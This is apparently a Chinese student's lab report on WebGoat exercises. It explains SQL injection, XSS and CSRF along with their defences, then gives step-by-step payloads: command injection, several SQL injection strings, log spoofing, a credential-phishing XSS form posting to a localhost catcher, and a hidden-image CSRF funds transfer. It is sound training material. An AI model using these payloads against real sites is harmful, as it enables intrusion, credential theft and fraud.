三动 2020-05-29
原理:
应用程序会将输入带入后台的SQL查询语句,后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果。
Web应用对后台数据库查询语句处理存在的安全漏洞。
防御:
使用正则表达式过滤传入的参数;检查是否包函非法字符,在后台控制输入的长度或者禁止用户输入一些特殊符号,例如 -- 、‘ 等。
摒弃动态SQL语句,而改用用户存储过程来访问和操作数据。
关闭或删除不必要的交互式提交表单页面。
原理:
攻击者往Web页面里插入恶意html标签或者javascript代码,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害数据安全。
从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。
防御:
当恶意代码值被作为某一标签的内容显示:在不需要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )做过滤,将其转化为不被浏览器解释执行的字符。
实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此 Cookie。
原理:
跨站请求伪造。即冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器。
主要是当访问网站A时输入用户名和密码,在通过验证后,网站A产生Cookie信息并返回,此时登录网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另一个网站B,网站B可返回一些攻击性代码并请求访问网站A;因此在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,因此还是会执行该恶意代码。
防御:
验证referer:因为伪造的请求一般是从第三方网站发起的,所以第一个防御方法就是判断referer头,如果不是来自本网站的请求,就判定为CSRF攻击。但是该方法只能防御跨站的csrf攻击,不能防御同站的csrf攻击。
验证请求中的Token,每一个网页包含一个web server产生的token, 提交时,也将该token提交到服务器,服务器进行判断,如果token不对,就判定位CSRF攻击。将敏感操作又get改为post,然后在表单中使用token. 尽量使用post也有利于防御CSRF攻击。
使用验证码:每一个重要的post提交页面,使用一个验证码,因为第三方网站是无法获得验证码的。还有使用手机验证码,比如转账是使用的手机验证码。
避免全站通用的cookie,严格设置cookie的域。
update-alternatives --config java
切换jdk版本,使用jdk1.8。因为webGoat需要Java SE8的支持,版本不匹配那么浏览器的菜单栏中会缺失很多内容。下载webgoat-container-7.0.1-war-exec.jar
文件,并移动到kali下。(资源出处另寻博客)
进入到文件目录下,输入java -jar webgoat-container-7.0.1-war-exec.jar
运行Webgoat。
http://localhost:8080/WebGoat
进入WebGoat登录界面。使用页面下端任意一个账号密码进行登录,可以看到如下页面:原理:在正常的参数提交过程中添加恶意代码以执行某条指令。
目标:可以在目标主机上执行任何系统命令。
过程实践:
在菜单栏中选择Injection Flaws
,展开页面中选择Command Injection
。
右键点击页面,选择inspect Element
审查网页元素对源代码进行修改,在复选框中对应位置第一个option的代码,双击进行修改,添加"& netstat -an & ipconfig"
。
点击view
,可以看到执行指令后的网络端口使用情况和IP地址。
原理:在station字段中注入特征字符,组合成新的SQL语句。
目标:该例子通过注入SQL字符串查看所有的天气数据。
过程实践:
在菜单栏中选择Injection Flaws
,展开页面中选择Numeric SQL Injection
。
右键点击页面,选择inspect Element
审查网页元素对源代码进行修改,在选中的城市编号Value值中添加or 1=1
。
点击Go!
即可显示所有城市的天气情况。
原理:在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹。
目标:灰色区域代表在 Web 服务器的日志中的记录的内容,目的是使用户名为“admin”的用户在日志中显示“成功登录”。
过程实践:
在菜单栏中选择Injection Flaws
,展开页面中选择Log Spoofing
。
利用入回车(0D%)和换行符(%0A),在 username 中填入lzh5213%0d%0aLogin Succeeded for username: admin
。
攻击者可以利用这种方式向日志文件中添加恶意脚本,脚本的返回信息管理员能够通过浏览器看到。比如,将admin <script>alert(document.cookie)</script>
作为用户名输入,可以看到弹窗的cookie信息。
原理:通过注入字符串绕过认证。
目标:以某一身份进行登录,获得全部成员信息。
过程实践:
在菜单栏中选择Injection Flaws
,展开页面中选择LAB: SQL Injection
,展开页面中选择String SQL Injection
。
右键点击页面,选择inspect Element
审查网页元素对源代码进行修改,将password密码框的最大长度限制改为5213
。
以用户Neville(admit)
登录,输入密码hello‘ or ‘1‘ = ‘1
,可以以最高权限进行登录,获取到所有人员列表。
原理:基于以下查询语句构造自己的 SQL 注入字符串。
目标:尝试通过 SQL 注入将所有信用卡信息 显示出来。尝试的用户名是“Smith”。
过程实践:
在菜单栏中选择Injection Flaws
,展开页面中选择String SQL Injection
。
正常情况下只能查询到用户名对应的信用卡号码(以“Smith”为例)。
输入查询的用户名Smith‘ or 1=1--
(1=1是恒等式,因此能查询到表里面的所有数据),查询的结果如下。
原理:攻击者可以创建一个触发器, 该触发器在创建新用户时,将每个新用户的 Email 地址设置为攻击者的地址。
目标:利用查询的脆弱性创建触发器。由于 WebGoat 使用的是 MySQL 数据库,不支持触发器,所以该课程不会真正完成。 我们的 Login ID 是 101。
过程实践:
在菜单栏中选择Injection Flaws
,展开页面中选择Database Backdoors
。
输入题中给的101
,可以看到原始的数据。
先尝试进行注入,输入101; update employee set Password=20175213
,尝试将密码改为学号。
根据题目要求,我们的最终目标是把工资提高,输入101; update employee set salary=99999
修改工资。
原理:在已存在的页面中添加元素,实现窃取密码等信息。
过程实践:
在菜单栏中选择Cross‐Site Scripting
,展开页面中选择Phishing with XSS
。
利用XSS可以在已存在的页面中进一步添加元素,包括两部分:受害人填写一个表格;服务器以读取脚本的形式,将收集到的信息发送给攻击者。
编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat。
编写一个带用户名和密码输入框的表格。
//脚本 </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> //表格 <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
输入用户名和密码后便可捕获。
原理:跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。当受害者的浏览器试图打开页面时,它会使用指定的参数向另一个页面发送请求。
过程实践:
在菜单栏中选择Cross‐Site Scripting
,展开页面中选择Cross Site Request Forgery (CSRF)
。
查看页面右侧Parameters中的src和menu值,分别为329和900。
在title中输入任何参数(学号),message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=5000" width="1" height="1" />
,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的(宽高设置成1像素的目的是隐藏该图片),用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交。
在Message List中生成以Title命名的消息。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。
本学期的最后一次实验也终于做完了,本次实验的内容也是和攻击相关。通过在集成平台上的操作,我实践并掌握了多种SQL注入攻击、XSS攻击和CSRF攻击技术,也接触到了更多的不同实际情况下的各种对web的攻击。这九次实验做下来,一学期也就过去了,回首这九次实验,有攻击也有防守,从各种角度带我学习了网络对抗的相关基础知识,希望在课后的自我学习中也能学习更多相关内容。